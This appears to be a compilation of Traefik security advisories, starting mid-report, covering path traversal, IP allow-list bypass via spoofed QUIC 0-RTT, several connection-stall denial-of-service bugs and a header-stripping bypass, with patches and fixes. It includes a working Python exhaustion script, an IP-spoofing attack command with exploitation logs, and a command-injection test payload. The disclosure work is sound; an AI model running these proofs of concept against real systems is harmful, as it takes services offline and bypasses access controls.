1. Centralize the post-transformation path validation used by ReplacePathRegex, StripPrefix, StripPrefixRegex, and ingress-nginx RewriteTarget to prevent future drift. 2. Add regression tests for /api../admin and /api%2e%2e/admin, expecting HTTP 400. 3. Test both URL.Path and URL.RawPath cases and preserve legitimate encoded-path behavior. 4. Audit the ingress-nginx snippet rewrite implementation for the same post-rewrite invariant.
Temporary Mitigation
Use a regex that requires a separator or end-of-path before captured user data, for example:
yaml nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$2"
Ingress path: path: /api(/|$)(.)
This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.
Duplicate Check
As of 2026-07-09:
- Traefik's public security advisories contain no entry mentioning RewriteTarget or ingress-nginx rewrite-target path traversal. - Public issue and pull-request searches found no report for this path-normalization bypass. - GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes pkg/middlewares/replacepathregex, while this report affects pkg/middlewares/ingressnginx/rewritetarget and reproduces on the version that contains that fix, v3.7.7.
Disclosure
If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.
</details>
---
There is a potential vulnerability in Traefik managing requests with Content-length and no body .
Sending a GET request to any Traefik endpoint with the Content-length request header results in an indefinite hang with the default configuration. This vulnerability can be exploited by attackers to induce a denial of service.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.2 - https://github.com/traefik/traefik/releases/tag/v3.0.0-rc5
Workarounds
For affected versions, this vulnerability can be mitigated by configuring the readTimeout option.
For more information
If you have any questions or comments about this advisory, please open an issue.
Impact
There is a vulnerability in Traefik that allows bypassing IP allow-lists via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.6 - https://github.com/traefik/traefik/releases/tag/v3.0.4 - https://github.com/traefik/traefik/releases/tag/v3.1.0-rc3
Workarounds
No workaround.
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary> Summary Bypassing IP allow-lists in traefik via HTTP/3 early data requests in QUIC 0-RTT handshakes sent with spoofed IP addresses.
Details HTTP/3 supports sending HTTP requests as early data during QUIC 0-RTT handshakes to reduce RTT overhead for connection resumptions. Early data is sent and received before the handshake is completed and the client's IP address is validated. The initial packet containing the QUIC 0-RTT handshake information and the early data HTTP request are sent as a single UDP datagram. Due to UDP being used by QUIC, the source IP address can be spoofed. When HTTP/3 servers process early data requests, the application layer only sees the unvalidated - possibly spoofed - IP address.
First, attackers have to obtain a session ticket from the HTTP/3 server. For that, attackers have to establish an HTTP/3 connection to the server - using their real IP address - and wait for the server to send a session ticket. Note that attackers do not have to send an actual HTTP request over the established connection. After obtaining the session ticket, the attacker can close the connection. In the second step, attackers need to prepare a UDP datagram containing a QUIC initial packet with a TLS ClientHello and the session ticket, a QUIC 0-RTT packet with early data encrypted with the pre-shared key from the session ticket, and an HTTP/3 request (open request stream, HEADERS frame, optionally DATA frame). This prepared UDP datagram can then be sent to the server with an arbitrarily spoofed source IP address in the IP packet header. When processing the HTTP request, the server trusts the spoofed IP address, which can be used to bypass IP-allow/block-lists.
A prerequisite for this attack to succeed is that HTTP/3 servers have implemented and enabled 0-RTT early data for HTTP/3 requests (and no mitigations are in place). A caveat is that attackers are not able to receive the server's response because the response is sent to the spoofed source IP address, making it a blind attack. Another limitation is that the request has to fit in a single UDP datagram, whose size is limited by the network path's MTU (minus some bytes for headers of encapsulating protocols such as HTTP/3, QUIC, UDP, IPv4/IPv6).
Impact IP allow-lists can be bypassed. Early data in QUIC 0-RTT handshakes is enabled when HTTP/3 support is enabled.
Mitigation Consider responding with HTTP status code 425 Too Early when 0-RTT early data requests match ipAllowList.sourceRange middleware. See RFC 8470 Section 3 for more information. Alternatively, delay processing of 0-RTT early data requests until the handshake is completed and the client's IP address is validated when 0-RTT early data requests match ipAllowList.sourceRange middleware.
Additionally, it is recommended to implement RFC 8470 and set the Early-Data: 1 header when forwarding early data requests to backend services. Currently, applications are not able to distinguish between 0-RTT early data requests and regular requests. When applications use the client's IP in X-Forwarded-For headers (e.g. for rate limiting), they are not able to detect potential IP spoofing on the application layer.
Proof of Concept Traefik is used as a HTTP/3 reverse proxy for a backend application. An IP allow list is configured to only allow access from the IP address 1.3.3.7.
yaml /etc/traefik/traefik.yml entryPoints: websecure: address: ":4439" http3: {} asDefault: true
providers: file: filename: /etc/traefik/provider.yml
log: level: DEBUG
yaml /etc/traefik/provider.yml http: routers: default: rule: "PathPrefix(/)" tls: {} middlewares: - ipfilter service: backend middlewares: ipfilter: ipAllowList: sourceRange: - "1.3.3.7/32"
services: backend: loadBalancer: servers: - url: "http://127.0.0.1:8000"
By performing the steps described above, attackers are able to bypass the IP allow list and send requests to the backend application. The security impact depends on the application's logic.
Please find attached a proof-of-concept docker-compose setup to demonstrate the vulnerability. It consists of a traefik reverse proxy, a backend application, and an attacker container. The attack script performs following request: python3 http3ipspoofing.py https://127.0.0.1:4439/cmd -X POST -d "cmd=echo%20worked>>/tmp/spoofed" -H "X-Header: test" --spoofed-ip=1.3.3.7 Note: We use a custom python script because, curl does not support QUIC 0-RTT requests and session resumtion yet.
proof-of-concept.zip
Here are logs of a successful exploitation in the attached docker compose setup: docker compose up
Traefik startup logs h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:100 > Traefik version 3.0.3 built on 2024-06-18T14:31:20Z version=3.0.3 h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/cmd/traefik/traefik.go:107 > Static configuration loaded [json] staticConfiguration={"entryPoints":{"websecure":{"address":":4439","asDefault":true,"forwardedHeaders":{},"http":{},"http2":{"maxConcurrentStreams":250},"http3":{},"transport":{"lifeCycle":{"graceTimeOut":"10s"},"respondingTimeouts":{"idleTimeout":"3m0s","readTimeout":"1m0s"}},"udp":{"timeout":"3s"}}},"global":{"checkNewVersion":true},"log":{"format":"common","level":"DEBUG"},"providers":{"file":{"filename":"/etc/traefik/provider.yml","watch":true},"providersThrottleDuration":"2s"},"serversTransport":{"maxIdleConnsPerHost":200},"tcpServersTransport":{"dialKeepAlive":"15s","dialTimeout":"30s"}} h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/cmd/traefik/traefik.go:605 > h3traefik-1 | Stats collection is disabled. h3traefik-1 | Help us improve Traefik by turning this feature on :) h3traefik-1 | More details on: https://doc.traefik.io/traefik/contributing/data-collection/ h3traefik-1 | h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:73 > Starting provider aggregator aggregator.ProviderAggregator h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/serverentrypointtcp.go:220 > Starting TCP Server entryPointName=websecure h3traefik-1 | 2024-06-29T11:52:58Z DBG log/log.go:245 > 2024/06/29 11:52:58 sysconn.go:36: failed to sufficiently increase receive buffer size (was: 208 kiB, wanted: 2048 kiB, got: 416 kiB). See https://github.com/quic-go/quic-go/wiki/UDP-Buffer-Sizes for details. h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider file.Provider h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > file.Provider provider configuration config={"filename":"/etc/traefik/provider.yml","watch":true} h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/file/file.go:122 > add watcher on: /etc/traefik/provider.yml h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider traefik.Provider h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > traefik.Provider provider configuration config={} h3traefik-1 | 2024-06-29T11:52:58Z INF github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:202 > Starting provider acme.ChallengeTLSALPN h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/provider/aggregator/aggregator.go:203 > acme.ChallengeTLSALPN provider configuration config={} h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"middlewares":{"ipfilter":{"ipAllowList":{"sourceRange":["1.3.3.7/32"]}}},"routers":{"default":{"middlewares":["ipfilter"],"rule":"PathPrefix(/)","service":"backend","tls":{}}},"services":{"backend":{"loadBalancer":{"passHostHeader":true,"responseForwarding":{"flushInterval":"100ms"},"servers":[{"url":"http://127.0.0.1:8000"}]}}}},"tcp":{},"tls":{},"udp":{}} providerName=file h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/configurationwatcher.go:227 > Configuration received config={"http":{"serversTransports":{"default":{"maxIdleConnsPerHost":200}},"services":{"noop":{}}},"tcp":{"serversTransports":{"default":{"dialKeepAlive":"15s","dialTimeout":"30s"}}},"tls":{},"udp":{}} providerName=internal h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/aggregator.go:51 > No entryPoint defined for this router, using the default one(s) instead entryPointName=["websecure"] routerName=default h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:321 > No default certificate, fallback to the internal generated certificate tlsStoreName=default h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:259 > Creating load-balancer entryPointName=websecure routerName=default@file serviceName=backend@file h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/server/service/service.go:301 > Creating server entryPointName=websecure routerName=default@file serverName=754e0da3b063885a serviceName=backend@file target=http://127.0.0.1:8000 h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ipallowlist.go:33 > Creating middleware entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ipallowlist.go:57 > Setting up IPAllowLister with sourceRange: [1.3.3.7/32] entryPointName=websecure middlewareName=ipfilter@file middlewareType=IPAllowLister routerName=default@file h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/observability/middleware.go:33 > Adding tracing to middleware entryPointName=websecure middlewareName=ipfilter@file routerName=default@file h3traefik-1 | 2024-06-29T11:52:58Z DBG github.com/traefik/traefik/v3/pkg/middlewares/recovery/recovery.go:22 > Creating middleware entryPointName=websecure middlewareName=traefik-internal-recovery middlewareType=Recover
Attack script establishes an HTTP/3 connection to traefik to obtain a session ticket attack-ipspoofing-1 | INFO:client:Initially connecting to server to get a session ticket attack-ipspoofing-1 | INFO:quic:[e29b2e2fd9a76162] ALPN negotiated protocol h3 attack-ipspoofing-1 | INFO:quic:[e29b2e2fd9a76162] Connection close sent (code 0x0, reason ) attack-ipspoofing-1 | INFO:client:Initial connection done
Traefik accepts the HTTP/3 connection and issues as session ticket h3traefik-1 | 2024-06-29T11:53:03Z DBG github.com/traefik/traefik/v3/pkg/tls/tlsmanager.go:228 > Serving default certificate for request: ""
Attack script sends a 0-RTT early data request in a UDP datagram with a spoofed source IP attack-ipspoofing-1 | INFO:client:Building 0-RTT QUIC packet attack-ipspoofing-1 | INFO:client:Setting up iptables rule for source IP spoofing attack-ipspoofing-1 | INFO:client:Sending 0-RTT packet
Traefik accepts and forwards the request to the backend service, bypassing the IP allow list h3traefik-1 | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/middlewares/ipallowlist/ipallowlist.go:85 > Accepting IP 1.3.3.7 middlewareName=ipfilter@file middlewareType=IPAllowLister h3traefik-1 | 2024-06-29T11:53:05Z DBG github.com/traefik/traefik/v3/pkg/server/service/loadbalancer/wrr/wrr.go:196 > Service selected by WRR: 754e0da3b063885a
Backend service receives and processes the request backend-1 | INFO:root:Request: {"ip": "1.3.3.7", "method": "POST", "path": "/cmd", "data": "cmd=echo%20worked>>/tmp/spoofed", "headers": {"Host": "127.0.0.1:4439", "Content-Length": "31", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "1.3.3.7", "X-Forwarded-Host": "127.0.0.1:4439", "X-Forwarded-Port": "4439", "X-Forwarded-Proto": "https", "X-Forwarded-Server": "work", "X-Header": "test", "X-Real-Ip": "1.3.3.7", "Accept-Encoding": "gzip"}} backend-1 | INFO:root:Executing command: echo worked>>/tmp/spoofed </details>
Impact
There is a potential vulnerability in Traefik ACME TLS certificates' automatic generation: the ACME TLS-ALPN fast path can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.
A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.35 - https://github.com/traefik/traefik/releases/tag/v3.6.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
\[Security\] ACME TLS-ALPN fast path lacks timeouts and close on handshake stall
Dear Traefik security team,
We believe we have identified a resource-exhaustion issue in the ACME TLS-ALPN fast path that can allow unauthenticated clients to tie up goroutines and file descriptors indefinitely when the ACME TLS challenge is enabled.
Summary
- Affected code: pkg/server/router/tcp/router.go (ACME TLS-ALPN handling). - When a ClientHello advertises acme-tls/1, Traefik intercepts it and calls tls.Server(...).Handshake() without any read/write deadlines and without closing the connection afterward. - Immediately before this branch, existing deadlines set by the entrypoint are cleared. - A client that sends the ALPN marker and then stops responding can keep the goroutine and socket open indefinitely, potentially exhausting the entrypoint under load. - Exposure is limited to entrypoints where the ACME TLS-ALPN challenge is enabled and ACME bypass is not allowed.
Relevant snippets 143:171:pkg/server/router/tcp/router.go // Deadlines are cleared before protocol dispatch if err := conn.SetDeadline(time.Time{}); err != nil { log.Error().Err(err).Msg("Error while setting deadline") }
// ACME TLS-ALPN fast path if !r.acmeTLSPassthrough && slices.Contains(hello.protos, tlsalpn01.ACMETLS1Protocol) { r.acmeTLSALPNHandler().ServeTCP(r.GetConn(conn, hello.peeked)) return }
224:226:pkg/server/router/tcp/router.go // Handler invoked by the branch above return tcp.HandlerFunc(func(conn tcp.WriteCloser) { = tls.Server(conn, r.httpsTLSConfig).Handshake() })
Impact
- Each stalled handshake consumes a goroutine and FD with no timeout and no server-side close. - A malicious client can open many connections, send a minimal ClientHello with acme-tls/1, then stop responding, leading to denial of service of the entrypoint. - Normal HTTPS handling uses http.Server timeouts; this bespoke path bypasses them.
Conditions for exploitation
- ACME TLS-ALPN challenge enabled (default when configured). - allowACMEByPass disabled for the entrypoint (the default when ACME TLS challenge is handled by Traefik).
CWE
- CWE-400: Uncontrolled Resource Consumption.
Proposed fix (illustrative)
@@ func (r Router) acmeTLSALPNHandler() tcp.Handler { - return tcp.HandlerFunc(func(conn tcp.WriteCloser) { - = tls.Server(conn, r.httpsTLSConfig).Handshake() - }) + return tcp.HandlerFunc(func(conn tcp.WriteCloser) { + // Ensure the handshake cannot block indefinitely and always closes the socket. + = conn.SetReadDeadline(time.Now().Add(10 time.Second)) + = conn.SetWriteDeadline(time.Now().Add(10 time.Second)) + + tlsConn := tls.Server(conn, r.httpsTLSConfig) + = tlsConn.Handshake() + = tlsConn.Close() // close regardless of handshake outcome + }) }
Alternatively, route ACME TLS-ALPN through the existing tcp.TLSHandler/HTTP server path so the configured timeouts and lifecycle management apply automatically.
CVSS v3.1 (estimate)
- Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Base score: 7.5 (High) - Rationale: Network-only, no auth/user interaction required; impact is service availability via resource exhaustion; no confidentiality or integrity impact.
Please let us know if you would like a PoC or further details. We have not made any code changes in this report.
Let us know if you have any questions or need clarification\!
Best wishes, Pavel Kohout Aisle Research </details>
Impact
There is a potential vulnerability in Traefik managing STARTTLS requests.
An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.8
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.
This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).
Details Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/serverentrypointtcp.go, which sets SetReadDeadline on accepted connections).
However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:
- detect Postgres SSLRequest (8-byte signature), - call conn.SetDeadline(time.Time{}) (clears all deadlines), - then enter the Postgres STARTTLS handler (servePostgres).
The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:
1. connect to any internet-exposed TCP entrypoint, 2. send the Postgres SSLRequest (SSL negotiation request), 3. receive Traefik’s single-byte response (S), 4. stop sending any further bytes.
Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.
Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.
Tested versions: - v3.6.7 - master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f
PoC Prerequisites: - Linux host - Python 3 - A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIKBIN constant (edit if needed).
Execute the script below: <details> <summary>Script (Click to expand)</summary>
python #!/usr/bin/env python3 from future import annotations
import os import socket import subprocess import tempfile import time from typing import Final
Hardcode the Traefik binary path. Edit as needed. TRAEFIKBIN: Final[str] = "/usr/local/sbin/traefik"
HOST: Final[str] = "127.0.0.1" PORT: Final[int] = 18080
STARTUPSLEEPSECS: Final[float] = 2.0 READTIMEOUTSECS: Final[float] = 2.0 SLEEPSECS: Final[float] = 3.5 NCONNS: Final[int] = 300
POSTGRESSSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])
def fdcount(pid: int) -> int: return len(os.listdir(f"/proc/{pid}/fd"))
def openidleconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): conns.append(socket.createconnection((HOST, PORT))) return conns
def openpostgressslrequestconns(n: int) -> list[socket.socket]: conns: list[socket.socket] = [] for in range(n): s = socket.createconnection((HOST, PORT)) s.settimeout(1.0) s.sendall(POSTGRESSSLREQUEST) try: = s.recv(1) # typically b"S" except socket.timeout: pass conns.append(s) return conns
def closeall(conns: list[socket.socket]) -> None: for s in conns: try: s.close() except OSError: pass
def main() -> None: with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td: dyn = os.path.join(td, "dynamic.yml") with open(dyn, "w", encoding="utf-8") as f: f.write( f"""\ http: routers: r: entryPoints: [web] rule: "PathPrefix(/)" service: s services: s: loadBalancer: servers: - url: "http://{HOST}:9" """ )
proc = subprocess.Popen( [ TRAEFIKBIN, "--log.level=ERROR", f"--entryPoints.web.address=:{PORT}", f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READTIMEOUTSECS}s", f"--providers.file.filename={dyn}", "--providers.file.watch=false", ], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT, ) try: time.sleep(STARTUPSLEEPSECS)
pid = proc.pid if pid is None: raise RuntimeError("Traefik PID is None")
ver = subprocess.checkoutput([TRAEFIKBIN, "version"], text=True).strip() print(ver) print(f"Traefik={TRAEFIKBIN}") print(f"Host={HOST} Port={PORT} ReadTimeout={READTIMEOUTSECS}s N={NCONNS} Sleep={SLEEPSECS}s")
base = fdcount(pid) print(f"traefikpid={pid} fdbase={base}")
idle = openidleconns(NCONNS) fdafteropenidle = fdcount(pid) print(f"baselineopened={NCONNS} fdafteropen={fdafteropenidle} delta={fdafteropenidle - base}") time.sleep(SLEEPSECS) fdaftersleepidle = fdcount(pid) print(f"baselineaftersleep fd={fdaftersleepidle} deltafrombase={fdaftersleepidle - base}") closeall(idle)
pg = openpostgressslrequestconns(NCONNS) fdafteropenpg = fdcount(pid) print(f"candidateopened={NCONNS} fdafteropen={fdafteropenpg} delta={fdafteropenpg - base}") time.sleep(SLEEPSECS) fdaftersleeppg = fdcount(pid) print(f"candidateaftersleep fd={fdaftersleeppg} deltafrombase={fdaftersleeppg - base}") closeall(pg)
if (fdaftersleepidle - base) <= 5 and (fdaftersleeppg - base) >= (NCONNS // 2): print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.") else: print("INCONCLUSIVE: adjust NCONNS upward or inspect Traefik logs.") finally: proc.terminate() try: proc.wait(timeout=3.0) except subprocess.TimeoutExpired: proc.kill() proc.wait(timeout=3.0)
if name == "main": main() </details>
<details> <summary>Expected output (Click to expand)</summary>
bash Version: 3.6.7 Codename: ramequin Go version: go1.24.11 Built: 2026-01-14T14:04:03Z OS/Arch: linux/amd64 Traefik=/usr/local/sbin/traefik Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s traefikpid=46204 fdbase=6 baselineopened=300 fdafteropen=128 delta=122 baselineaftersleep fd=6 deltafrombase=0 candidateopened=300 fdafteropen=306 delta=300 candidateaftersleep fd=306 deltafrombase=300 VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout. </details>
Impact Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.
</details>
Impact
There is a potential vulnerability in Traefik managing TLS handshake on TCP routers.
When Traefik processes a TLS connection on a TCP router, the read deadline used to bound protocol sniffing is cleared before the TLS handshake is completed. When a TLS handshake read error occurs, the code attempts a second handshake with different connection parameters, silently ignoring the initial error. A remote unauthenticated client can exploit this by sending an incomplete TLS record and stopping further data transmission, causing the TLS handshake to stall indefinitely and holding connections open.
By opening many such stalled connections in parallel, an attacker can exhaust file descriptors and goroutines, degrading availability of all services on the affected entrypoint.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Traefik's TCP router uses a connection-level read deadline to bound protocol sniffing (peeking a TLS client hello), but then clears the deadline via conn.SetDeadline(time.Time{}) before delegating the connection to TLS forwarding.
A remote unauthenticated client can send an incomplete TLS record header and stop sending data. After the initial peek times out, the router clears the deadline and the subsequent TLS handshake reads can stall indefinitely, holding connections open and consuming resources.
Expected vs Actual
Expected: if an entrypoint-level read deadline is used to bound initial protocol sniffing, TLS handshake reads should remain bounded by a deadline (either the same deadline is preserved, or a dedicated handshake timeout is enforced).
Actual: after protocol sniffing the router clears the connection deadline and delegates to TLS handling; an attacker can keep the TLS handshake stalled beyond the configured read timeout.
Severity
HIGH CWE: CWE-400 (Uncontrolled Resource Consumption)
Affected Code
- pkg/server/router/tcp/router.go: (Router).ServeTCP clears the deadline before TLS forwarding - conn.SetDeadline(time.Time{}) removes the entrypoint-level deadline that previously bounded reads
Root Cause
In (Router).ServeTCP, after sniffing a TLS client hello, the router removes the connection read deadline:
// Remove read/write deadline and delegate this to underlying TCP server // (for now only handled by HTTP Server) if err := conn.SetDeadline(time.Time{}); err != nil { ... }
TLS handshake reads that happen after this point are not guaranteed to have any deadline, so a client that stops sending bytes can keep the connection open indefinitely.
Attacker Control
Attacker-controlled input is the raw TCP byte stream on an entrypoint that routes to a TLS forwarder. The attacker controls:
1. Sending a partial TLS record header (enough to trigger the TLS sniffing path) 2. Stopping further sends so the subsequent handshake read blocks
Impact
Each stalled connection occupies file descriptors and goroutines (and may consume additional memory depending on buffering). By opening many such connections in parallel, an attacker can cause resource exhaustion and degrade availability.
Reproduction
Attachments include poc.zip with a self-contained integration harness. It pins the repository commit, applies fix.patch as the control variant, and runs a regression-style test that demonstrates the stall in canonical mode and the timeout in control mode.
Run canonical (vulnerable):
unzip poc.zip -d poc cd poc make test
Canonical output excerpt: PROOFMARKER
Run control (deadline preserved / no stall):
unzip poc.zip -d poc cd poc make control
Control output excerpt: NCMARKER
Recommended Fix
Do not clear the entrypoint-level deadline prior to completing TLS handshake, or enforce a dedicated handshake timeout for the TLS forwarder path.
Fix accepted when: an incomplete TLS record cannot stall past the configured entrypoint-level read deadline (or an explicit handshake timeout), and a regression test covers the canonical/control behavior.
</details>
Impact
There is a potential vulnerability in Traefik managing the Connection header with X-Forwarded headers.
When Traefik processes HTTP/1.1 requests, the protection put in place to prevent the removal of Traefik-managed X-Forwarded headers (such as X-Real-Ip, X-Forwarded-Host, X-Forwarded-Port, etc.) via the Connection header does not handle case sensitivity correctly. The Connection tokens are compared case-sensitively against the protected header names, but the actual header deletion operates case-insensitively. As a result, a remote unauthenticated client can use lowercase Connection tokens (e.g. Connection: x-real-ip) to bypass the protection and trigger the removal of Traefik-managed forwarded identity headers.
This is a bypass of the fix for CVE-2024-45410.
Depending on the deployment, the impact may be higher if downstream services rely on these headers (such as X-Real-Ip or X-Forwarded-) for authentication, authorization, routing, or scheme decisions.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Traefik's XForwarded middleware (removeConnectionHeaders) tries to prevent clients from using the Connection header to strip trusted X-Forwarded- headers, but the protection compares the Connection tokens case-sensitively while the deletion is case-insensitive.
As a result, a remote unauthenticated client can send a lowercase token like Connection: x-real-ip and still trigger deletion of traefik-managed X-Real-Ip (and similarly named headers in the managed list).
This can cause downstream routing, scheme, and header-based authn/authz decisions to be evaluated with missing trusted forwarding identity headers.
Severity
CRITICAL
Rationale: the PoC demonstrates an end-to-end access control bypass pattern when a downstream service uses proxy-provided identity headers (for example, X-Real-Ip) for IP allowlists or trust decisions. A remote unauthenticated client can strip the traefik-managed identity header via a lowercase Connection token, causing the downstream service to evaluate the request without the expected header signal.
Relevant Links
- Repository: https://github.com/traefik/traefik - Pinned commit: a4a91344edcdd6276c1b766ca19ee3f0e346480f - Callsite (pinned): https://github.com/traefik/traefik/blob/a4a91344edcdd6276c1b766ca19ee3f0e346480f/pkg/middlewares/forwardedheaders/forwardedheader.go#L225
Vulnerability Details
Root Cause
removeConnectionHeaders uses a case-sensitive membership check for protected header names when inspecting Connection tokens, but it deletes headers via net/http which treats header names case-insensitively. A lowercase token bypasses the protection check and still triggers deletion.
Attacker Control / Attack Path
Remote unauthenticated HTTP client (untrusted IP) sends Connection: x-real-ip, and Traefik deletes the generated X-Real-Ip header.
Proof of Concept
The attached poc.zip contains a deterministic, make-based integration PoC with a canonical run and a negative control.
Canonical (vulnerable):
unzip poc.zip -d poc cd poc make test
Output contains:
[CALLSITEHIT]: pkg/middlewares/forwardedheaders/forwardedheader.go:225 [PROOFMARKER]: downstreamadminbypass=1 xrealippresent=0
Control (same env, no lowercase token):
unzip poc.zip -d poc cd poc make test
Output contains:
[CALLSITEHIT]: pkg/middlewares/forwardedheaders/forwardedheader.go:225 [NCMARKER]: downstreamadminbypass=0 xrealippresent=1
Expected: Connection tokens are handled case-insensitively and protected identity headers (for example, X-Real-Ip and X-Forwarded-) are not deleted due to client-supplied Connection options (regardless of token casing).
Actual: Lowercase Connection tokens bypass the protection check and still trigger deletion of traefik-managed identity headers (for example, X-Real-Ip).
Recommended Fix
- Case-fold (or otherwise canonicalize) Connection header tokens before comparing them against protected header names. - Add a regression test covering lowercase tokens (for example, Connection: x-real-ip).
Fix accepted when: a request with Connection: x-real-ip does not cause deletion of traefik-managed X-Real-Ip, and a regression test covers this behavior.
</details>
HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.
Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.
The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.
The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.
